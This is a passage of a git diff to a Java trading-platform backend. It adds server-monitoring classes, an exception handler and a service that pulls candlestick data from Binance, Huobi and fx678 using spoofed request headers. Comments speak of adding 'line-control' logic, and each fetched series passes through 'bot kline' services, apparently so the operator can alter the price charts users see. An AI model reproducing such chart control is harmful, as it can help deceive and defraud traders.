setJvm(Jvm jvm) + { + this.jvm = jvm; + } + + public Sys getSys() + { + return sys; + } + + public void setSys(Sys sys) + { + this.sys = sys; + } + + public List getSysFiles() + { + return sysFiles; + } + + public void setSysFiles(List sysFiles) + { + this.sysFiles = sysFiles; + } + + public void copyTo() throws Exception + { + SystemInfo si = new SystemInfo(); + HardwareAbstractionLayer hal = si.getHardware(); + + setCpuInfo(hal.getProcessor()); + + setMemInfo(hal.getMemory()); + + setSysInfo(); + + setJvmInfo(); + + setSysFiles(si.getOperatingSystem()); + } + + /** + * 设置CPU信息 + */ + private void setCpuInfo(CentralProcessor processor) + { + // CPU信息 + long[] prevTicks = processor.getSystemCpuLoadTicks(); + Util.sleep(OSHI_WAIT_SECOND); + long[] ticks = processor.getSystemCpuLoadTicks(); + long nice = ticks[TickType.NICE.getIndex()] - prevTicks[TickType.NICE.getIndex()]; + long irq = ticks[TickType.IRQ.getIndex()] - prevTicks[TickType.IRQ.getIndex()]; + long softirq = ticks[TickType.SOFTIRQ.getIndex()] - prevTicks[TickType.SOFTIRQ.getIndex()]; + long steal = ticks[TickType.STEAL.getIndex()] - prevTicks[TickType.STEAL.getIndex()]; + long cSys = ticks[TickType.SYSTEM.getIndex()] - prevTicks[TickType.SYSTEM.getIndex()]; + long user = ticks[TickType.USER.getIndex()] - prevTicks[TickType.USER.getIndex()]; + long iowait = ticks[TickType.IOWAIT.getIndex()] - prevTicks[TickType.IOWAIT.getIndex()]; + long idle = ticks[TickType.IDLE.getIndex()] - prevTicks[TickType.IDLE.getIndex()]; + long totalCpu = user + nice + cSys + idle + iowait + irq + softirq + steal; + cpu.setCpuNum(processor.getLogicalProcessorCount()); + cpu.setTotal(totalCpu); + cpu.setSys(cSys); + cpu.setUsed(user); + cpu.setWait(iowait); + cpu.setFree(idle); + } + + /** + * 设置内存信息 + */ + private void setMemInfo(GlobalMemory memory) + { + mem.setTotal(memory.getTotal()); + mem.setUsed(memory.getTotal() - memory.getAvailable()); + mem.setFree(memory.getAvailable()); + } + + /** + * 设置服务器信息 + */ + private void setSysInfo() + { + Properties props = System.getProperties(); + sys.setComputerName(IpUtils.getHostName()); + sys.setComputerIp(IpUtils.getHostIp()); + sys.setOsName(props.getProperty("os.name")); + sys.setOsArch(props.getProperty("os.arch")); + sys.setUserDir(props.getProperty("user.dir")); + } + + /** + * 设置Java虚拟机 + */ + private void setJvmInfo() throws UnknownHostException + { + Properties props = System.getProperties(); + jvm.setTotal(Runtime.getRuntime().totalMemory()); + jvm.setMax(Runtime.getRuntime().maxMemory()); + jvm.setFree(Runtime.getRuntime().freeMemory()); + jvm.setVersion(props.getProperty("java.version")); + jvm.setHome(props.getProperty("java.home")); + } + + /** + * 设置磁盘信息 + */ + private void setSysFiles(OperatingSystem os) + { + FileSystem fileSystem = os.getFileSystem(); + List fsArray = fileSystem.getFileStores(); + for (OSFileStore fs : fsArray) + { + long free = fs.getUsableSpace(); + long total = fs.getTotalSpace(); + long used = total - free; + SysFile sysFile = new SysFile(); + sysFile.setDirName(fs.getMount()); + sysFile.setSysTypeName(fs.getType()); + sysFile.setTypeName(fs.getName()); + sysFile.setTotal(convertFileSize(total)); + sysFile.setFree(convertFileSize(free)); + sysFile.setUsed(convertFileSize(used)); + sysFile.setUsage(Arith.mul(Arith.div(used, total, 4), 100)); + sysFiles.add(sysFile); + } + } + + /** + * 字节转换 + * + * @param size 字节大小 + * @return 转换后值 + */ + public String convertFileSize(long size) + { + long kb = 1024; + long mb = kb * 1024; + long gb = mb * 1024; + if (size >= gb) + { + return String.format("%.1f GB", (float) size / gb); + } + else if (size >= mb) + { + float f = (float) size / mb; + return String.format(f > 100 ? "%.0f MB" : "%.1f MB", f); + } + else if (size >= kb) + { + float f = (float) size / kb; + return String.format(f > 100 ? "%.0f KB" : "%.1f KB", f); + } + else + { + return String.format("%d B", size); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Ticker24hVO.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Ticker24hVO.java new file mode 100644 index 0000000..ab461f9 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Ticker24hVO.java @@ -0,0 +1,16 @@ +package com.ruoyi.framework.web.domain; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class Ticker24hVO { + + private String symbol ; + private BigDecimal highPrice ; + private BigDecimal lowPrice ; + private BigDecimal volume ; + +} + diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java new file mode 100644 index 0000000..a13a66c --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java @@ -0,0 +1,101 @@ +package com.ruoyi.framework.web.domain.server; + +import com.ruoyi.common.utils.Arith; + +/** + * CPU相关信息 + * + * @author ruoyi + */ +public class Cpu +{ + /** + * 核心数 + */ + private int cpuNum; + + /** + * CPU总的使用率 + */ + private double total; + + /** + * CPU系统使用率 + */ + private double sys; + + /** + * CPU用户使用率 + */ + private double used; + + /** + * CPU当前等待率 + */ + private double wait; + + /** + * CPU当前空闲率 + */ + private double free; + + public int getCpuNum() + { + return cpuNum; + } + + public void setCpuNum(int cpuNum) + { + this.cpuNum = cpuNum; + } + + public double getTotal() + { + return Arith.round(Arith.mul(total, 100), 2); + } + + public void setTotal(double total) + { + this.total = total; + } + + public double getSys() + { + return Arith.round(Arith.mul(sys / total, 100), 2); + } + + public void setSys(double sys) + { + this.sys = sys; + } + + public double getUsed() + { + return Arith.round(Arith.mul(used / total, 100), 2); + } + + public void setUsed(double used) + { + this.used = used; + } + + public double getWait() + { + return Arith.round(Arith.mul(wait / total, 100), 2); + } + + public void setWait(double wait) + { + this.wait = wait; + } + + public double getFree() + { + return Arith.round(Arith.mul(free / total, 100), 2); + } + + public void setFree(double free) + { + this.free = free; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java new file mode 100644 index 0000000..1fdc6ac --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java @@ -0,0 +1,130 @@ +package com.ruoyi.framework.web.domain.server; + +import java.lang.management.ManagementFactory; +import com.ruoyi.common.utils.Arith; +import com.ruoyi.common.utils.DateUtils; + +/** + * JVM相关信息 + * + * @author ruoyi + */ +public class Jvm +{ + /** + * 当前JVM占用的内存总数(M) + */ + private double total; + + /** + * JVM最大可用内存总数(M) + */ + private double max; + + /** + * JVM空闲内存(M) + */ + private double free; + + /** + * JDK版本 + */ + private String version; + + /** + * JDK路径 + */ + private String home; + + public double getTotal() + { + return Arith.div(total, (1024 * 1024), 2); + } + + public void setTotal(double total) + { + this.total = total; + } + + public double getMax() + { + return Arith.div(max, (1024 * 1024), 2); + } + + public void setMax(double max) + { + this.max = max; + } + + public double getFree() + { + return Arith.div(free, (1024 * 1024), 2); + } + + public void setFree(double free) + { + this.free = free; + } + + public double getUsed() + { + return Arith.div(total - free, (1024 * 1024), 2); + } + + public double getUsage() + { + return Arith.mul(Arith.div(total - free, total, 4), 100); + } + + /** + * 获取JDK名称 + */ + public String getName() + { + return ManagementFactory.getRuntimeMXBean().getVmName(); + } + + public String getVersion() + { + return version; + } + + public void setVersion(String version) + { + this.version = version; + } + + public String getHome() + { + return home; + } + + public void setHome(String home) + { + this.home = home; + } + + /** + * JDK启动时间 + */ + public String getStartTime() + { + return DateUtils.parseDateToStr(DateUtils.YYYY_MM_DD_HH_MM_SS, DateUtils.getServerStartDate()); + } + + /** + * JDK运行时间 + */ + public String getRunTime() + { + return DateUtils.timeDistance(DateUtils.getNowDate(), DateUtils.getServerStartDate()); + } + + /** + * 运行参数 + */ + public String getInputArgs() + { + return ManagementFactory.getRuntimeMXBean().getInputArguments().toString(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java new file mode 100644 index 0000000..13eec52 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java @@ -0,0 +1,61 @@ +package com.ruoyi.framework.web.domain.server; + +import com.ruoyi.common.utils.Arith; + +/** + * 內存相关信息 + * + * @author ruoyi + */ +public class Mem +{ + /** + * 内存总量 + */ + private double total; + + /** + * 已用内存 + */ + private double used; + + /** + * 剩余内存 + */ + private double free; + + public double getTotal() + { + return Arith.div(total, (1024 * 1024 * 1024), 2); + } + + public void setTotal(long total) + { + this.total = total; + } + + public double getUsed() + { + return Arith.div(used, (1024 * 1024 * 1024), 2); + } + + public void setUsed(long used) + { + this.used = used; + } + + public double getFree() + { + return Arith.div(free, (1024 * 1024 * 1024), 2); + } + + public void setFree(long free) + { + this.free = free; + } + + public double getUsage() + { + return Arith.mul(Arith.div(used, total, 4), 100); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java new file mode 100644 index 0000000..45d64d9 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java @@ -0,0 +1,84 @@ +package com.ruoyi.framework.web.domain.server; + +/** + * 系统相关信息 + * + * @author ruoyi + */ +public class Sys +{ + /** + * 服务器名称 + */ + private String computerName; + + /** + * 服务器Ip + */ + private String computerIp; + + /** + * 项目路径 + */ + private String userDir; + + /** + * 操作系统 + */ + private String osName; + + /** + * 系统架构 + */ + private String osArch; + + public String getComputerName() + { + return computerName; + } + + public void setComputerName(String computerName) + { + this.computerName = computerName; + } + + public String getComputerIp() + { + return computerIp; + } + + public void setComputerIp(String computerIp) + { + this.computerIp = computerIp; + } + + public String getUserDir() + { + return userDir; + } + + public void setUserDir(String userDir) + { + this.userDir = userDir; + } + + public String getOsName() + { + return osName; + } + + public void setOsName(String osName) + { + this.osName = osName; + } + + public String getOsArch() + { + return osArch; + } + + public void setOsArch(String osArch) + { + this.osArch = osArch; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java new file mode 100644 index 0000000..1320cde --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java @@ -0,0 +1,114 @@ +package com.ruoyi.framework.web.domain.server; + +/** + * 系统文件相关信息 + * + * @author ruoyi + */ +public class SysFile +{ + /** + * 盘符路径 + */ + private String dirName; + + /** + * 盘符类型 + */ + private String sysTypeName; + + /** + * 文件类型 + */ + private String typeName; + + /** + * 总大小 + */ + private String total; + + /** + * 剩余大小 + */ + private String free; + + /** + * 已经使用量 + */ + private String used; + + /** + * 资源的使用率 + */ + private double usage; + + public String getDirName() + { + return dirName; + } + + public void setDirName(String dirName) + { + this.dirName = dirName; + } + + public String getSysTypeName() + { + return sysTypeName; + } + + public void setSysTypeName(String sysTypeName) + { + this.sysTypeName = sysTypeName; + } + + public String getTypeName() + { + return typeName; + } + + public void setTypeName(String typeName) + { + this.typeName = typeName; + } + + public String getTotal() + { + return total; + } + + public void setTotal(String total) + { + this.total = total; + } + + public String getFree() + { + return free; + } + + public void setFree(String free) + { + this.free = free; + } + + public String getUsed() + { + return used; + } + + public void setUsed(String used) + { + this.used = used; + } + + public double getUsage() + { + return usage; + } + + public void setUsage(double usage) + { + this.usage = usage; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java new file mode 100644 index 0000000..51dd8c5 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java @@ -0,0 +1,114 @@ +package com.ruoyi.framework.web.exception; + +import javax.servlet.http.HttpServletRequest; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.security.access.AccessDeniedException; +import org.springframework.validation.BindException; +import org.springframework.web.HttpRequestMethodNotSupportedException; +import org.springframework.web.bind.MethodArgumentNotValidException; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.exception.DemoModeException; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; + +/** + * 全局异常处理器 + * + * @author ruoyi + */ +@RestControllerAdvice +public class GlobalExceptionHandler +{ + private static final Logger log = LoggerFactory.getLogger(GlobalExceptionHandler.class); + + /** + * 权限校验异常 + */ + @ExceptionHandler(AccessDeniedException.class) + public AjaxResult handleAccessDeniedException(AccessDeniedException e, HttpServletRequest request) + { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',权限校验失败'{}'", requestURI, e.getMessage()); + return AjaxResult.error(HttpStatus.FORBIDDEN, "没有权限,请联系管理员授权"); + } + + /** + * 请求方式不支持 + */ + @ExceptionHandler(HttpRequestMethodNotSupportedException.class) + public AjaxResult handleHttpRequestMethodNotSupported(HttpRequestMethodNotSupportedException e, + HttpServletRequest request) + { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',不支持'{}'请求", requestURI, e.getMethod()); + return AjaxResult.error(e.getMessage()); + } + + /** + * 业务异常 + */ + @ExceptionHandler(ServiceException.class) + public AjaxResult handleServiceException(ServiceException e, HttpServletRequest request) + { + log.error(e.getMessage(), e); + Integer code = e.getCode(); + return StringUtils.isNotNull(code) ? AjaxResult.error(code, e.getMessage()) : AjaxResult.error(e.getMessage()); + } + + /** + * 拦截未知的运行时异常 + */ + @ExceptionHandler(RuntimeException.class) + public AjaxResult handleRuntimeException(RuntimeException e, HttpServletRequest request) + { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',发生未知异常.", requestURI, e); + return AjaxResult.error(e.getMessage()); + } + + /** + * 系统异常 + */ + @ExceptionHandler(Exception.class) + public AjaxResult handleException(Exception e, HttpServletRequest request) + { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',发生系统异常.", requestURI, e); + return AjaxResult.error(e.getMessage()); + } + + /** + * 自定义验证异常 + */ + @ExceptionHandler(BindException.class) + public AjaxResult handleBindException(BindException e) + { + log.error(e.getMessage(), e); + String message = e.getAllErrors().get(0).getDefaultMessage(); + return AjaxResult.error(message); + } + + /** + * 自定义验证异常 + */ + @ExceptionHandler(MethodArgumentNotValidException.class) + public Object handleMethodArgumentNotValidException(MethodArgumentNotValidException e) + { + log.error(e.getMessage(), e); + String message = e.getBindingResult().getFieldError().getDefaultMessage(); + return AjaxResult.error(message); + } + + /** + * 演示模式异常 + */ + @ExceptionHandler(DemoModeException.class) + public AjaxResult handleDemoModeException(DemoModeException e) + { + return AjaxResult.error("演示模式,不允许操作"); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/BlockccService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/BlockccService.java new file mode 100644 index 0000000..438397d --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/BlockccService.java @@ -0,0 +1,571 @@ +package com.ruoyi.framework.web.service; + +import cc.block.data.api.domain.enumeration.Interval; +import cc.block.data.api.domain.market.Kline; +import cn.hutool.http.HttpRequest; +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.binance.connector.client.SpotClient; +import com.binance.connector.client.impl.SpotClientImpl; +import com.huobi.api.request.account.SwapMarketHistoryKlineRequest; +import com.huobi.api.response.market.SwapMarketHistoryKlineResponse; +import com.huobi.api.service.market.MarketAPIServiceImpl; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.bussiness.service.ITBotKlineModelInfoService; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.CandlestickIntervalEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.web.domain.KlineParamVO; +import com.ruoyi.framework.web.domain.Ticker24hVO; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.*; + +@Service +@Slf4j +public class BlockccService { + @Autowired + private ITBotKlineModelInfoService botKlineModelInfoService; + @Autowired + private ITBotKlineModelService botKlineModelService; + @Resource + private ITOwnCoinService itOwnCoinService; + @Resource + private IKlineSymbolService klineSymbolService; + @Resource + private RedisCache redisCache; + + public List getHistoryKline(KlineParamVO klineParam) { + try { + + + String market = StringUtils.isBlank(klineParam.getMarket()) ? "" : klineParam.getMarket(); + String timeCode = this.getMt5Time(klineParam.getInterval()); + String symbol = klineParam.getSymbol(); + switch (market) { + case "binance": { + //后续加上控线逻辑 + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + parameters.put("symbol", symbol.toUpperCase() + "USDT"); + Interval interval = Interval.valueOf(klineParam.getInterval()); + parameters.put("interval", interval.toString()); + if (klineParam.getEnd() != null) { + parameters.put("endTime", klineParam.getEnd()); + } + log.debug("参数" + JSONObject.toJSONString(parameters)); + String result = client.createMarket().klines(parameters); + List his = new ArrayList<>(); + JSONArray parse = JSONArray.parse(result); + for (int i = 0; i < parse.size(); i++) { + JSONArray jsonObject = parse.getJSONArray(i); + Object[] array = jsonObject.toArray(); + Kline kline = new Kline(); + kline.setTimestamp((Long) array[0]); + kline.setOpen(Double.parseDouble((String) array[1])); + kline.setHigh(Double.parseDouble((String) array[2])); + kline.setLow(Double.parseDouble((String) array[3])); + kline.setClose(Double.parseDouble((String) array[4])); + kline.setVolume(Double.parseDouble((String) array[5])); + his.add(kline); + } + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + + return his; + } + case "huobi": { + MarketAPIServiceImpl huobiAPIService = new MarketAPIServiceImpl(); + SwapMarketHistoryKlineRequest result = SwapMarketHistoryKlineRequest.builder() + .contractCode(symbol.toUpperCase() + "-USDT")//合约代码 "BTC-USDT" ... + .period(CandlestickIntervalEnum.getValue(klineParam.getInterval())) //K线类型 1min, 5min, 15min, 30min, 60min,4hour,1day,1week,1mon + .size(1000) //获取数量,默认150 [1,2000] + //.from() //开始时间戳 10位 单位S + //.to();//结束时间戳 10位 单位S + .build(); + List his = new ArrayList<>(); + SwapMarketHistoryKlineResponse response = huobiAPIService.getSwapMarketHistoryKline(result); + if ("ok".equalsIgnoreCase(response.getStatus())) { + List list = response.getData(); + for (SwapMarketHistoryKlineResponse.DataBean data : list) { + Kline kline = new Kline(); + kline.setTimestamp(data.getId()); + kline.setOpen(data.getOpen().doubleValue()); + kline.setHigh(data.getHigh().doubleValue()); + kline.setLow(data.getLow().doubleValue()); + kline.setClose(data.getClose().doubleValue()); + kline.setVolume(data.getVol().doubleValue()); + his.add(kline); + } + } + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + return his; + } + case "echo": { + //后续加上控线逻辑 + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + KlineSymbol one = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbol.toLowerCase())); + if (null == one) { + return null; + } + parameters.put("symbol", one.getReferCoin().toUpperCase() + "USDT"); + Interval interval = Interval.valueOf(klineParam.getInterval()); + parameters.put("interval", interval.toString()); + if (klineParam.getEnd() != null) { + parameters.put("endTime", klineParam.getEnd()); + } + log.debug("参数" + JSONObject.toJSONString(parameters)); + String result = client.createMarket().klines(parameters); + List his = new ArrayList<>(); + JSONArray parse = JSONArray.parse(result); + for (int i = 0; i < parse.size(); i++) { + JSONArray jsonObject = parse.getJSONArray(i); + Object[] array = jsonObject.toArray(); + Kline kline = new Kline(); + kline.setTimestamp((Long) array[0]); + kline.setOpen(Double.parseDouble((String) array[1])); + kline.setHigh(Double.parseDouble((String) array[2])); + kline.setLow(Double.parseDouble((String) array[3])); + kline.setClose(Double.parseDouble((String) array[4])); + kline.setVolume(Double.parseDouble((String) array[5])); + his.add(kline); + } + his = itOwnCoinService.selectLineList(one, his); + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + return his; + } + case "energy": { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/histories.php?symbol=" + + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=5700&st=" + v; + String result = HttpRequest.get(url) + .header("Referer", "https://quote.fx678.com/") + .header("Host", "api-q.fx678img.com") + .header("Origin", "https://quote.fx678.com") + .timeout(20000) + .execute().body(); + JSONObject ret = JSONObject.parseObject(result); + List klines = buildHisKline(ret); + return botKlineModelInfoService.selectBotLineList(symbol.toLowerCase(), klines, klineParam.getInterval()); + } + default: { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=8100&st=" + v; + String result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + JSONObject ret = JSONObject.parseObject(result); + List klines = buildHisKline(ret); + if (klines.isEmpty()) { + url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=8200&st=" + v; + result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + } + ret = JSONObject.parseObject(result); + klines = buildHisKline(ret); + if (klines.isEmpty()) { + url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=5c00&st=" + v; + result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + } + ret = JSONObject.parseObject(result); + klines = buildHisKline(ret); + return botKlineModelInfoService.selectBotLineList(symbol.toLowerCase(), klines, klineParam.getInterval()); + } + } + }catch (Exception e){ + log.info(e.toString()); + } + return null; + } + + public List getHistoryKline2(KlineParamVO klineParam) { + String market = StringUtils.isBlank(klineParam.getMarket()) ? "" : klineParam.getMarket(); + String timeCode = this.getMt5Time(klineParam.getInterval()); + String symbol = klineParam.getSymbol(); + switch (market) { + case "binance": { + //后续加上控线逻辑 + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + parameters.put("symbol", symbol.toUpperCase() + "USDT"); + Interval interval = Interval.valueOf(klineParam.getInterval()); + parameters.put("interval", interval.toString()); + parameters.put("limit",50); + if (klineParam.getEnd() != null) { + parameters.put("endTime", klineParam.getEnd()); + } + log.debug("参数" + JSONObject.toJSONString(parameters)); + String result = client.createMarket().klines(parameters); + List his = new ArrayList<>(); + JSONArray parse = JSONArray.parse(result); + for (int i = 0; i < parse.size(); i++) { + JSONArray jsonObject = parse.getJSONArray(i); + Object[] array = jsonObject.toArray(); + Kline kline = new Kline(); + kline.setTimestamp((Long) array[0]); + kline.setOpen(Double.parseDouble((String) array[1])); + kline.setHigh(Double.parseDouble((String) array[2])); + kline.setLow(Double.parseDouble((String) array[3])); + kline.setClose(Double.parseDouble((String) array[4])); + kline.setVolume(Double.parseDouble((String) array[5])); + his.add(kline); + } + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + + return his; + } + case "huobi": { + MarketAPIServiceImpl huobiAPIService = new MarketAPIServiceImpl(); + SwapMarketHistoryKlineRequest result = SwapMarketHistoryKlineRequest.builder() + .contractCode(symbol.toUpperCase() + "-USDT")//合约代码 "BTC-USDT" ... + .period(CandlestickIntervalEnum.getValue(klineParam.getInterval())) //K线类型 1min, 5min, 15min, 30min, 60min,4hour,1day,1week,1mon + .size(1000) //获取数量,默认150 [1,2000] + //.from() //开始时间戳 10位 单位S + //.to();//结束时间戳 10位 单位S + .build(); + List his = new ArrayList<>(); + SwapMarketHistoryKlineResponse response = huobiAPIService.getSwapMarketHistoryKline(result); + if ("ok".equalsIgnoreCase(response.getStatus())) { + List list = response.getData(); + for (SwapMarketHistoryKlineResponse.DataBean data : list) { + Kline kline = new Kline(); + kline.setTimestamp(data.getId()); + kline.setOpen(data.getOpen().doubleValue()); + kline.setHigh(data.getHigh().doubleValue()); + kline.setLow(data.getLow().doubleValue()); + kline.setClose(data.getClose().doubleValue()); + kline.setVolume(data.getVol().doubleValue()); + his.add(kline); + } + } + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + return his; + } + case "echo": { + //后续加上控线逻辑 + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + KlineSymbol one = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbol.toLowerCase())); + if (null == one) { + return null; + } + parameters.put("symbol", one.getReferCoin().toUpperCase() + "USDT"); + Interval interval = Interval.valueOf(klineParam.getInterval()); + parameters.put("interval", interval.toString()); + if (klineParam.getEnd() != null) { + parameters.put("endTime", klineParam.getEnd()); + } + log.debug("参数" + JSONObject.toJSONString(parameters)); + String result = client.createMarket().klines(parameters); + List his = new ArrayList<>(); + JSONArray parse = JSONArray.parse(result); + for (int i = 0; i < parse.size(); i++) { + JSONArray jsonObject = parse.getJSONArray(i); + Object[] array = jsonObject.toArray(); + Kline kline = new Kline(); + kline.setTimestamp((Long) array[0]); + kline.setOpen(Double.parseDouble((String) array[1])); + kline.setHigh(Double.parseDouble((String) array[2])); + kline.setLow(Double.parseDouble((String) array[3])); + kline.setClose(Double.parseDouble((String) array[4])); + kline.setVolume(Double.parseDouble((String) array[5])); + his.add(kline); + } + his = itOwnCoinService.selectLineList(one, his); + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + return his; + } + case "energy": { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/histories.php?symbol=" + + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=5700&st=" + v; + String result = HttpRequest.get(url) + .header("Referer", "https://quote.fx678.com/") + .header("Host", "api-q.fx678img.com") + .header("Origin", "https://quote.fx678.com") + .timeout(20000) + .execute().body(); + JSONObject ret = JSONObject.parseObject(result); + List klines = buildHisKline(ret); + return botKlineModelInfoService.selectBotLineList(symbol.toLowerCase(), klines, klineParam.getInterval()); + } + default: { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=8100&st=" + v; + String result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + JSONObject ret = JSONObject.parseObject(result); + List klines = buildHisKline(ret); + if (klines.isEmpty()) { + url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=8200&st=" + v; + result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + } + ret = JSONObject.parseObject(result); + klines = buildHisKline(ret); + if (klines.isEmpty()) { + url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=5c00&st=" + v; + result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + } + ret = JSONObject.parseObject(result); + klines = buildHisKline(ret); + return botKlineModelInfoService.selectBotLineList(symbol.toLowerCase(), klines, klineParam.getInterval()); + } + } + } + + private String getMt5Time(String time) { + //["ONE_MIN","FIVE_MIN","FIFTEEN_MIN","THIRTY_MIN","ONE_HOUR","TWO_HOUR","SIX_HOUR","ONE_DAY","TWO_DAY","SEVEN_DAY"] + switch (time) { + case "ONE_MIN": + return "1"; + case "FIVE_MIN": + return "5"; + case "FIFTEEN_MIN": + return "15"; + case "THIRTY_MIN": + return "30"; + case "ONE_HOUR": + return "60"; + case "ONE_DAY": + return "D"; + case "SEVEN_DAY": + return "W"; + default: + return ""; + } + } + + private List buildHisKline(JSONObject ret) { + List klines = new ArrayList<>(); + String s = ret.getString("s"); + if ("ok".equals(s)) { + JSONArray close = ret.getJSONArray("c"); + JSONArray high = ret.getJSONArray("h"); + JSONArray low = ret.getJSONArray("l"); + JSONArray open = ret.getJSONArray("o"); + JSONArray volume = ret.getJSONArray("v"); + JSONArray timestamp = ret.getJSONArray("t"); + Kline kline; + for (int i = 0; i < close.size(); i++) { + kline = new Kline(); + kline.setClose(close.getDouble(i)); + kline.setOpen(open.getDouble(i)); + kline.setHigh(high.getDouble(i)); + kline.setLow(low.getDouble(i)); + kline.setVolume(volume.getDouble(i)); + kline.setTimestamp((timestamp.getLong(i)) * 1000L); + klines.add(kline); + } + } + return klines; + } + + public Ticker24hVO getHistoryKline24hrTicker(KlineParamVO klineParamVO) { + String market = klineParamVO.getMarket(); + if("metal|mt5|energy".contains(market)){ + Ticker24hVO ticker24hVO = new Ticker24hVO(); + ticker24hVO.setSymbol(klineParamVO.getSymbol()); + 